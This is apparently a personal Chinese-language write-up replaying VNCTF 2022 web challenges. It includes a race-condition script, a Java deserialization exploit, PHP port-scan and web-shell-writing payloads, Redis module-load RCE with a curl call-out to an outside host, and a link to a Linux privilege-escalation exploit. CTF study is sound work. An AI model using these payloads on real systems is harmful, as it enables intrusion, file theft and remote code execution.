vnctf2022 web复现
Game V4.0
开盒
Newcalc0
重点是怎么搜到这个cve。因为该cve很新,利用范围较小,所以不太好搜。。
然后事后诸葛亮发现这样搜能搜出(google)
node js prototype pollution 2022
或者在nodejs官网阅读最新的洞
https://nodejs.org/zh-cn/blog/vulnerability/
最后是CVE-2022-21824
Gocalc0
这题当时看都没看,结果非预期直接cookies解码就能得flag,题目直接沦为签到题哈哈哈
正常是go语言ssti
首先{{.}}
得到当前作用域,然后{{.s0uR3e}}
得到源码,整理一下直接运行即可
easyJava
file页面用file协议读文件。当时不知道要读什么,读了个index.html报错就走人了。。果然还是太菜了呜呜呜
官方wp里读了/file?url=file:///etc/passwd
,可以把tomcat的路径读出来。tomcat目录结构可参考Directory Structure in Ubuntu (Linux)。在/usr/local/tomcat/webapps/ROOT/WEB-INF
找到webapp程序,jd-gui反编译得到源码。
先拿key。如下图,要绕过下面矛盾的验证,可以利用servlet成员变量的线程安全漏洞:servlet中多个线程共用成员变量,可以多线程条件竞争写name绕验证
import sys
import requests
import threading
url1='http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=vnctf2022'
url2='http://dadf610a-208a-46ee-8b31-092008f8f6ef.node4.buuoj.cn:81/evi1?name=foo'
event = threading.Event()
def go(mode):
event.wait()
while (1):
try:
r = requests.get(url1 if mode==1 else url2)
if 'The Key is ' in r.text:
print(r.text)
sys.exit(1)
except:
pass
if __name__ == '__main__':
for i in range(30):
threading.Thread(target=go,args=(1,)).start()
threading.Thread(target=go,args=(2,)).start()
event.set()
然后就是反序列化验证了。本题没有黑名单什么的,貌似可以直接重写readobject弹shell?但对于本题来说过这一步就能拿flag了。
有个坑点,user有个transient修饰的属性height,这是用来声明当前属性不需要反序列化的。所以这里要重写user里的writeObject方法
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}
然后就是exp
package entity;//注意这个包路径不能乱写,这也是要序列化的
import java.util.Base64;
public class Exp {
public static void main(String[] args) {
User u=new User("m4n_q1u_666","666","180");
byte[] b = SerAndDe.serialize(u);
Base64.Encoder encoder = Base64.getEncoder();
String str=encoder.encodeToString(b);
System.out.println(str);
}
}
InterestingPHP(表面复现)
显然出题人失恋了,那就在情人节这天做做这题吧!
上来就是php rce,然而显然ban了很多函数。phpinfo也被ban了,但可以通过var_dump('ini_get_all()');
信息搜集,重点关注disable_functions/disable_class/open_basedir
scandir发现secret.rdb,是redis的数据库文件。可以用redis-rdb-tools解析,不过这里直接打开依稀可以看到一些东西
version<=5,主从RCE。sercet打错,是secret,猜测用来验证redis.
首先要找到redis端口。用nmap要等一年,有两个payload可用
for($i=0;$i<10000;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
for($i=0;$i<10000;$i++) {
$t=file_get_contents('http://127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "Connection refused")) {
var_dump($i);
}
}
代码以post传参进去,借助file_put_contents写文件
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
然后扫出8888端口
接下来就是验证和rce了。因为没搞过redis,贴下官方的思路
其中so库网上找到后用linux自带的base64命令转码后post过去
base64 module.so > out.txt
$redis = new Redis();
var_dump($redis->connect('127.0.0.1',8888));
var_dump($redis->auth('ye_w4nt_a_gir1fri3nd'));
var_dump($redis->rawCommand('echo','foo'));
$redis->rawCommand('module','load','/var/www/html/mod.so');
$redis->rawCommand("system.exec","curl http://ip/?foo=qweasd");
然后为什么vps没接收到呜呜呜,换了好几个so文件都不行,严重怀疑环境炸了qwq
然后按wp的说法,linux提权。没系统了解过提权,见一个是一个吧
https://github.com/arthepsy/CVE-2021-4034.git